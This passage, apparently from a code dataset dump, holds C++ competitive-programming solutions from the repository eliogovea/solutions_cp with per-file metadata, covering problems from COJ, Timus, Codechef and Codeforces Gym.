long long ll;\n\nll get_sol( ll n, ll m, ll x ){\n ll ro = sqrt( x );\n if( n > m ){\n swap( n , m );\n }\n\n n = min( n , ro );\n x -= n*n;\n m = n + (x+n-1)/n;\n\n return 2ll * ( n + m );\n}\n\nint a[90010];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n ll n, m; cin >> n >> m;\n\n for( int i = 0; i < n*m; i++ ){\n cin >> a[i];\n }\n\n int sz = n*m;\n sort( a , a + sz );\n\n ll sol = 0;\n int j = 0;\n\n ll r = 0;\n\n for( int i = 0; i < sz; i = j ){\n while( j < sz && a[j] == a[i] ){\n j++;\n }\n\n ll x = sz - i;\n sol += (a[i] - r) * get_sol( n , m , x );\n r = a[i];\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.37987011671066284, "alphanum_fraction": 0.40584415197372437, "avg_line_length": 15.11111068725586, "blob_id": "ffb4df0eec11ed19a2d0e34ca50d4683a60a4d21", "content_id": "7f86816fd60602dce55cbdd0872da3230b9a8a2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 308, "license_type": "no_license", "max_line_length": 35, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2774-Accepted-s608807.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 10010;\r\n\r\nint f, k, l, v, arr[MAXN], sol;\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &f, &k);\r\n\tsol = f;\r\n\tfor (int i = 1; i <= k; i++) {\r\n\t\tscanf(\"%d%d\", &l, &v);\r\n\t\tfor (int i = l; i <= f; i += v) {\r\n\t\t\tif (arr[i] == 0) sol--;\r\n\t\t\tarr[i] = 1;\r\n\t\t}\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.40581396222114563, "alphanum_fraction": 0.4372093081474304, "avg_line_length": 13.140351295471191, "blob_id": "43347d9289f5c1055bc50d763a07dadf155a01d8", "content_id": "de41e33beacafb235549a9a18cf1d65718d0ce36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 860, "license_type": "no_license", "max_line_length": 46, "num_lines": 57, "path": "/Timus/1090-6220749.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1090\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, k;\r\nint line[10005];\r\n\r\nint bit[10005];\r\n\r\nvoid clear() {\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tbit[i] = 0;\r\n\t}\r\n}\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> k;\r\n\tint mx = -1;\r\n\tint id = -1;\r\n\tfor (int i = 1; i <= k; i++) {\r\n\t\tclear();\r\n\t\tint t = 0;\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tcin >> line[j];\r\n\t\t\tline[j] = n + 1 - line[j]; // 1 es el mayor\r\n\t\t\tt += query(line[j]);\r\n\t\t\tupdate(line[j], 1);\r\n\t\t}\r\n\t\tif (t > mx) {\r\n\t\t\tmx = t;\r\n\t\t\tid = i;\r\n\t\t}\r\n\t}\r\n\tcout << id << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3472485840320587, "alphanum_fraction": 0.383301705121994, "avg_line_length": 23.190475463867188, "blob_id": "b5081072cdac182fd78740b48244c9c14016774e", "content_id": "4fa38ff172336cb9fd27a3f1673a5bc94289a921", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 527, "license_type": "no_license", "max_line_length": 43, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1293-Accepted-s388801.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint main(){\r\n int n;\r\n cin >> n;\r\n unsigned int digits[200];\r\n digits[0]=1;\r\n int i,j;\r\n int top=0;\r\n int carry=0;\r\n for(i=1; i<=n; i++){\r\n for(j=0; j<=top; j++){\r\n carry/=10;\r\n carry+=digits[j]*2;\r\n digits[j]=carry%10;\r\n }\r\n while(carry=carry/10)\r\n digits[++top]=carry%10;\r\n }\r\n for(i=top; i>=0; i--)cout << digits[i];\r\n }" }, { "alpha_fraction": 0.32319390773773193, "alphanum_fraction": 0.3460076153278351, "avg_line_length": 13.470588684082031, "blob_id": "688df4993f064ed5dbc99cba72d112e9929867a7", "content_id": "4f504dd0af5115f090c3d68f3afade3e21109c01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 263, "license_type": "no_license", "max_line_length": 40, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p2625-Accepted-s531135.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nchar c[3]={'O','I','E'};\r\nint n,m;\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d\",&n,&m);\r\n\r\n for(int i=0; i<n; i++)\r\n {\r\n int r=i%3;\r\n for(int j=0; j<m; j++,r=(r+1)%3)\r\n printf(\"%c\",c[r]);\r\n printf(\"\\n\");\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3814578950405121, "alphanum_fraction": 0.41188958287239075, "avg_line_length": 14.358695983886719, "blob_id": "a326c1a19bf93dee6e8ec885b20e647115024f7a", "content_id": "c5d767f2893471c8d4747323e18c0feefc1df9d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1413, "license_type": "no_license", "max_line_length": 63, "num_lines": 92, "path": "/Codeforces-Gym/100603 - 2009-2010 Petrozavodsk Winter Training Camp, Warsaw Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2009-2010 Petrozavodsk Winter Training Camp, Warsaw Contest\n// 100603C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 1000100;\nconst ll oo = ( 1ll << 60ll );\n\nll m[MAXN];\n\nint a[MAXN];\nint ord[MAXN];\n\nll mn;\nll c;\nll tot;\n\nbool mk[MAXN];\n\nvoid dfs( int i ){\n if( mk[i] ){\n return;\n }\n\n mk[i] = true;\n tot += m[ a[i] ];\n mn = min( mn , m[ a[i] ] );\n c++;\n\n dfs( ord[ a[i] ] );\n}\n\ntypedef pair<ll,ll> par;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n for( int i = 1; i <= n; i++ ){\n cin >> m[i];\n }\n\n for( int i = 1; i <= n; i++ ){\n cin >> a[i];\n }\n\n for( int i = 1; i <= n; i++ ){\n int b; cin >> b;\n ord[b] = i;\n }\n\n ll sol = 0ll;\n vector<par> x;\n\n for( int i = 1; i <= n; i++ ){\n mn = oo;\n c = 0;\n tot = 0;\n\n dfs(i);\n if( c == 0 ){\n continue;\n }\n\n sol += tot - mn;\n\n x.push_back( par( mn , c ) );\n }\n\n sort( x.begin() , x.end() );\n\n if( x[0].second > 1ll ){\n sol += (x[0].second - 1ll) * x[0].first;\n }\n\n ll mn = x[0].first;\n\n for( int i = 1; i < x.size(); i++ ){\n sol += min( x[i].first * ( x[i].second - 1ll ) ,\n mn + 2ll * x[i].first + mn * x[i].second );\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.3901979327201843, "alphanum_fraction": 0.4052780270576477, "avg_line_length": 18.80392074584961, "blob_id": "4708bd58858b7abc036fd198852de900d5f8e5d4", "content_id": "0315ed9883b2d2d2fed270a1eb60715ff8ccb44b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1061, "license_type": "no_license", "max_line_length": 60, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p1272-Accepted-s537931.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<queue>\r\n#include<vector>\r\n#define MAXN 20010\r\nusing namespace std;\r\n\r\ntypedef vector<int>::iterator viit;\r\n\r\nint cases,V,E,x,y,dist[MAXN],nod,far,cant,maxdist;\r\n\r\nvector<int> G[MAXN];\r\nqueue<int> Q;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&cases); cases--;)\r\n {\r\n scanf(\"%d%d\",&V,&E);\r\n\r\n for(int i=1; i<=V; i++)\r\n G[i].clear(),\r\n dist[i]=1<<29;\r\n\r\n for(int i=1; i<=E; i++)\r\n {\r\n scanf(\"%d%d\",&x,&y);\r\n G[x].push_back(y);\r\n G[y].push_back(x);\r\n }\r\n\r\n for(Q.push(1),dist[1]=0;!Q.empty(); Q.pop())\r\n {\r\n nod = Q.front();\r\n\r\n for(viit i=G[nod].begin(); i!=G[nod].end(); i++)\r\n if(dist[*i]>dist[nod]+1)\r\n dist[*i]=dist[nod]+1,\r\n Q.push(*i);\r\n }\r\n\r\n maxdist=dist[nod];\r\n\r\n for(int i=V; i; i--)\r\n if(dist[i]==maxdist)\r\n far=i,cant++;\r\n\r\n printf(\"%d %d %d\\n\",far,maxdist,cant);\r\n\r\n cant=0;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4727272689342499, "alphanum_fraction": 0.47999998927116394, "avg_line_length": 14.176470756530762, "blob_id": "d44044accbaf8fa3eb1d08db8b236ec71ae4415f", "content_id": "6273487ef94d22a800db13c79c872e703f6d999b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 275, "license_type": "no_license", "max_line_length": 65, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1849-Accepted-s515875.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint t,l,b;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%d%d\",&l,&b);\r\n printf(\"%.4f\\n\",(double(l))*sqrt(l*l-abs(b-l)*abs(b-l)));\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.46473029255867004, "alphanum_fraction": 0.4813278019428253, "avg_line_length": 14.0625, "blob_id": "9abda592938a7dbe5f75cf4a336b98db28655990", "content_id": "0ccc6de4c32870c9e83d72ada33a08964221e6bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 241, "license_type": "no_license", "max_line_length": 60, "num_lines": 16, "path": "/Codechef/XENRANK.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tlong long u, v;\n\t\tcin >> u >> v;\n\t\tcout << (u + v) * (u + v + 1LL) / 2LL + (u + 1LL) << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.5976331233978271, "avg_line_length": 13.363636016845703, "blob_id": "391f6b4948d79ea3b9803443020253b5d0cb22a0", "content_id": "5144405667ef934c67f3c7cd4eac6b4a8487e1ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 169, "license_type": "no_license", "max_line_length": 40, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p1612-Accepted-s520492.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint main()\r\n{\r\n printf(\"%.0lf\",pow(4.0/3.0,93)*3.0);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.45271629095077515, "alphanum_fraction": 0.47283703088760376, "avg_line_length": 12.052631378173828, "blob_id": "71fcf8c4c03e35ab160e49d8c191021e84a344c8", "content_id": "04591a03551ee0e7fc3decee10f26007e9495237", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 497, "license_type": "no_license", "max_line_length": 30, "num_lines": 38, "path": "/Codechef/LOVEA.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nLL get(LL x) {\n\tLL lo = 0;\n\tLL hi = 1e9;\n\tLL res = 1e9;\n\twhile (lo <= hi) {\n\t\tLL mid = (lo + hi) >> 1;\n\t\tif (mid * mid <= x) {\n\t\t\tres = mid;\n\t\t\tlo = mid + 1;\n\t\t} else {\n hi = mid - 1;\n\t\t}\n\t}\n\treturn res;\n}\n\nLL solve(LL l, LL r) {\n\treturn get(r) - get(l - 1);\n}\n\nint t;\nLL l, r;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> l >> r;\n\t\tcout << solve(l, r) << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3728506863117218, "alphanum_fraction": 0.39638009667396545, "avg_line_length": 18.462963104248047, "blob_id": "8b31f18f6e37f5bfb50dfa8f901d0b9a20bc3899", "content_id": "2e0e53e8ec63eede0228a2eceaead5f74ec71819", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1105, "license_type": "no_license", "max_line_length": 82, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p3701-Accepted-s967695.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n;\r\nvector <int> g[N];\r\nint depth[N];\r\n\r\nint cycle = -1;\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\tdepth[u] = d;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v != p) {\r\n\t\t\tif (depth[v] == -1) {\r\n\t\t\t\tdfs(v, u, d + 1);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(7);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tg[x].push_back(y);\r\n\t\tg[y].push_back(x);\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tdepth[i] = -1;\r\n\t}\r\n\tdfs(1, 0, 0);\r\n\r\n\tfor (int u = 1; u <= n && cycle == -1; u++) {\r\n for (int i = 0; i < g[u].size() && cycle == -1; i++) {\r\n int v = g[u][i];\r\n if (depth[v] < depth[u] - 1) {\r\n //cerr << u << \" \" << v << \" \" << depth[u] - depth[v] + 1 << \"\\n\";\r\n cycle = depth[u] - depth[v] + 1;\r\n }\r\n }\r\n\t}\r\n\t//cerr << cycle << \"\\n\";\r\n\tassert(cycle != -1);\r\n\tdouble ans = ((double)n + (double)cycle) / (double)n;\r\n\tcout << fixed << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43318966031074524, "alphanum_fraction": 0.4590517282485962, "avg_line_length": 17.33333396911621, "blob_id": "c6a9ab9fd01fb4f121a88da2d405a5514d9afe8c", "content_id": "cc0fd3706afb78ac7d5f40c0b0d04b8e3cf6bfe9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 464, "license_type": "no_license", "max_line_length": 41, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2723-Accepted-s642477.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint v, n, a[1005], sol;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> v >> n;\r\n\tfor (int i = 0; i < n; i++) cin >> a[i];\r\n\tsort(a, a + n);\r\n\tif (n < 3) return cout << \"0\\n\", 0;\r\n\telse {\r\n\t\tint s = a[0] + a[1];\r\n\t\tfor (int i = 2; i < n; i++) {\r\n\t\t\tif (s + a[i] <= v) sol++;\r\n\t\t}\r\n\t\tif (sol) sol += 2;\r\n\t\tcout << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42804428935050964, "alphanum_fraction": 0.4428044259548187, "avg_line_length": 12.263157844543457, "blob_id": "a59c47b8afa18b33aaebcf9d4e41a1b0d21b2d46", "content_id": "65be13d79bc476f8656c12d13e09d8e8f27f84b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 271, "license_type": "no_license", "max_line_length": 42, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2946-Accepted-s634470.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nint tc;\r\nlong long a;\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a;\r\n\t\tif (a & 1ll) cout << (a << 1ll) << '\\n';\r\n\t\telse {\r\n\t\t\twhile (!(a & 1ll)) a >>= 1ll;\r\n\t\t\tcout << a << '\\n';\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3899613916873932, "alphanum_fraction": 0.4285714328289032, "avg_line_length": 19, "blob_id": "3ef457389d46b76b9c7665cf6767c1067f5fb914", "content_id": "088114098145e9e2f2f93dc3ee080debb6135053", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 777, "license_type": "no_license", "max_line_length": 62, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p2395-Accepted-s550437.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\n#define MAXN 50010\r\n#define LOGMAXN 20\r\n\r\nint n,q,a,b,lg,mx,mn;\r\nint MAX[MAXN][LOGMAXN];\r\nint MIN[MAXN][LOGMAXN];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&n,&q);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n scanf(\"%d\",&MAX[i][0]),\r\n MIN[i][0]=MAX[i][0];\r\n\r\n\r\n for(int j=1; 1<<j <= n; j++)\r\n for(int i=1; 1<<j <= n-i+1; i++)\r\n {\r\n MIN[i][j]=min(MIN[i][j-1],MIN[i+(1<<(j-1))][j-1]);\r\n MAX[i][j]=max(MAX[i][j-1],MAX[i+(1<<(j-1))][j-1]);\r\n }\r\n\r\n while(q--)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n lg=log2(b-a+1);\r\n mn=min(MIN[a][lg],MIN[b-(1<<lg)+1][lg]);\r\n mx=max(MAX[a][lg],MAX[b-(1<<lg)+1][lg]);\r\n printf(\"%d\\n\",mx-mn);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.39465874433517456, "alphanum_fraction": 0.4161721169948578, "avg_line_length": 17.257143020629883, "blob_id": "f5383468fa004f6423dc3d8095dd630febab06ae", "content_id": "0397ea5b1bcf3669bec2e8e6702331ba0c2a5409", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1348, "license_type": "no_license", "max_line_length": 70, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p3188-Accepted-s784877.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nstring s;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst ull B = 31;\r\n\r\nconst int N = 40005;\r\n\r\null hash[N];\r\null POW[N];\r\n\r\npair<ull, int> v[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tPOW[0] = 1;\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tPOW[i] = POW[i - 1] * B;\r\n\t}\r\n\twhile (cin >> n && n) {\r\n\t\tcin >> s;\r\n\t\tint sz = s.size();\r\n\t\tfor (int i = 1; i <= sz; i++) {\r\n\t\t\thash[i] = hash[i - 1] * B + s[i - 1] - 'a' + 1;\r\n\t\t}\r\n\t\tint lo = 1;\r\n\t\tint hi = sz - n + 1;\r\n\t\tint ans_len = 0;\r\n\t\tint ans_pos = 0;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tfor (int i = 0; i + mid <= sz; i++) {\r\n\t\t\t\tv[i].first = hash[i + mid] - hash[i] * POW[mid];\r\n\t\t\t\tv[i].second = i;\r\n\t\t\t}\r\n\t\t\tsort(v, v + (sz + 1 - mid));\r\n\t\t\tbool ok = false;\r\n\t\t\tint last = 0;\r\n\t\t\tfor (int i = 0; i + mid <= sz; i++) {\r\n\t\t\t\tif (v[i].first != v[last].first) {\r\n\t\t\t\t\tlast = i;\r\n\t\t\t\t}\r\n\t\t\t\tif (i - last + 1 >= n) {\r\n\t\t\t\t\tok = true;\r\n\t\t\t\t\tif (ans_len < mid || (ans_len == mid && v[i].second > ans_pos)) {\r\n\t\t\t\t\t\tans_len = mid;\r\n\t\t\t\t\t\tans_pos = v[i].second;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (ok) {\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ans_len == 0) {\r\n\t\t\tcout << \"none\\n\";\r\n\t\t} else {\r\n\t\t\tcout << ans_len << \" \" << ans_pos << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4207119643688202, "alphanum_fraction": 0.4433656930923462, "avg_line_length": 14.263157844543457, "blob_id": "a7e8de2a5e8199630fa43723bc2162506c7c7fb8", "content_id": "f73f5c1bbae50f1f81b340c3ef693b37918a519c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 309, "license_type": "no_license", "max_line_length": 45, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1858-Accepted-s552943.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 10020\r\ntypedef long long ll;\r\n\r\nll a,b,n,m;\r\nll dp[MAXN];\r\n\r\nint main()\r\n{\r\n\tscanf( \"%lld%lld%lld%lld\", &n, &a, &b, &m );\r\n\r\n\tdp[0] = 1ll;\r\n\r\n\tfor( ll i = a; i <= b; i++ )\r\n\t\tfor( ll j = i; j <= n; j++ )\r\n\t\t\tdp[j] = ( dp[j] + dp[j - i] ) % m;\r\n\r\n\tprintf( \"%lld\\n\", dp[n] );\r\n}\r\n" }, { "alpha_fraction": 0.4603658616542816, "alphanum_fraction": 0.47560974955558777, "avg_line_length": 13.619047164916992, "blob_id": "820ff46db647b1c753bb8f32033dc754527aa078", "content_id": "91f47797363385c28f9d31ac865195cc7e3ddf21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 328, "license_type": "no_license", "max_line_length": 32, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p3833-Accepted-s1107244.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tdouble ans = 0.0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tans += (double)n / (double)i;\r\n\t\t}\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.25531914830207825, "alphanum_fraction": 0.28267475962638855, "avg_line_length": 12.92424201965332, "blob_id": "9be1397337afb0dc87da54c99d54838bdf0749ad", "content_id": "a398ca174f889708ce03a6b2871c488b942c8914", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 987, "license_type": "no_license", "max_line_length": 33, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p4098-Accepted-s1294956.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n int n, m;\r\n cin >> n >> m;\r\n\r\n if (m == 1) {\r\n cout << \"1\\n\";\r\n return 0;\r\n }\r\n\r\n vector <int> c(m);\r\n for (int i = 0; i < n; i++) {\r\n int x;\r\n cin >> x;\r\n c[x - 1]++;\r\n }\r\n\r\n int zero = 0;\r\n for (int i = 0; i < m; i++) {\r\n if (c[i] == 0) {\r\n zero++;\r\n }\r\n }\r\n\r\n if (zero == 0) {\r\n cout << \"0\\n\";\r\n return 0;\r\n }\r\n\r\n int x = m - zero;\r\n\t\t\r\n int y = 0;\r\n\r\n for (int i = 0; i < m; i++) {\r\n if (c[i] > 1) {\r\n y++;\r\n }\r\n }\r\n\r\n if (x == 1) {\r\n cout << \"1\\n\";\r\n return 0;\r\n }\r\n\r\n if (x >= 3) {\r\n\tif (m == 4 && y == 0) {\r\n\t\tcout << m - 1 << \"\\n\";\r\n\t\treturn 0;\r\n\t}\r\n cout << m << \"\\n\";\r\n return 0;\r\n }\r\n\r\n // x == 2\r\n \r\n\r\n assert(y <= 2);\r\n\r\n cout << m - 2 + y << \"\\n\";\r\n}\r\n\r\n" }, { "alpha_fraction": 0.2946794033050537, "alphanum_fraction": 0.30763983726501465, "avg_line_length": 20.55384635925293, "blob_id": "c7fdb69f36b98aab1c3481696ee97f6397ac8f47", "content_id": "17a8d4c9b1f69cf40ffca1b224c39fc180603d9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1466, "license_type": "no_license", "max_line_length": 58, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p1792-Accepted-s487233.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\n\r\nint r,i,j,ci,cj,la,lb,m,x,cri,crj;\r\nchar a[1000],b[1000];\r\n\r\nint gcd(int a, int b)\r\n{\r\n return b?gcd(b,a%b):a;\r\n}\r\n\r\nint main()\r\n{\r\n scanf(\"%d%s%s\",&r,&a,&b);\r\n\r\n la=strlen(a);\r\n lb=strlen(b);\r\n\r\n m=la*lb/gcd(la,lb);\r\n x=r%m;\r\n\r\n if(r<=m)\r\n {\r\n for(int k=1; k<=r ; k++)\r\n {\r\n if(a[i]=='R' && b[j]=='S')cj++;\r\n else if(a[i]=='R' && b[j]=='P')ci++;\r\n else if(a[i]=='S' && b[j]=='R')ci++;\r\n else if(a[i]=='S' && b[j]=='P')cj++;\r\n else if(a[i]=='P' && b[j]=='S')ci++;\r\n else if(a[i]=='P' && b[j]=='R')cj++;\r\n\r\n if(i<la-1)i++;\r\n else i=0;\r\n if(j<lb-1)j++;\r\n else j=0;\r\n }\r\n printf(\"%d %d\\n\",ci,cj);\r\n }\r\n\r\n else if(r>m)\r\n {\r\n for(int k=0; k<m; k++)\r\n {\r\n if(k==x)\r\n {\r\n cri=ci;\r\n crj=cj;\r\n }\r\n if(a[i]=='R' && b[j]=='S')cj++;\r\n else if(a[i]=='R' && b[j]=='P')ci++;\r\n else if(a[i]=='S' && b[j]=='R')ci++;\r\n else if(a[i]=='S' && b[j]=='P')cj++;\r\n else if(a[i]=='P' && b[j]=='S')ci++;\r\n else if(a[i]=='P' && b[j]=='R')cj++;\r\n\r\n if(i<la-1)i++;\r\n else i=0;\r\n if(j<lb-1)j++;\r\n else j=0;\r\n }\r\n printf(\"%d %d\\n\",ci*((int)r/m)+cri,cj*((int)r/m)+crj);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.46073299646377563, "alphanum_fraction": 0.5026177763938904, "avg_line_length": 11, "blob_id": "e0266a06634378d507581cfde3a3e66810fd5382", "content_id": "071c6f56f6d8ce93e1e75bcefbb897af56981eee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 191, "license_type": "no_license", "max_line_length": 31, "num_lines": 16, "path": "/Codeforces-Gym/100741 - KTU Programming Camp (Day 5)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 5)\n// 100741D\n\n#include <cstdio>\n\nint n, x;\n\nint main() 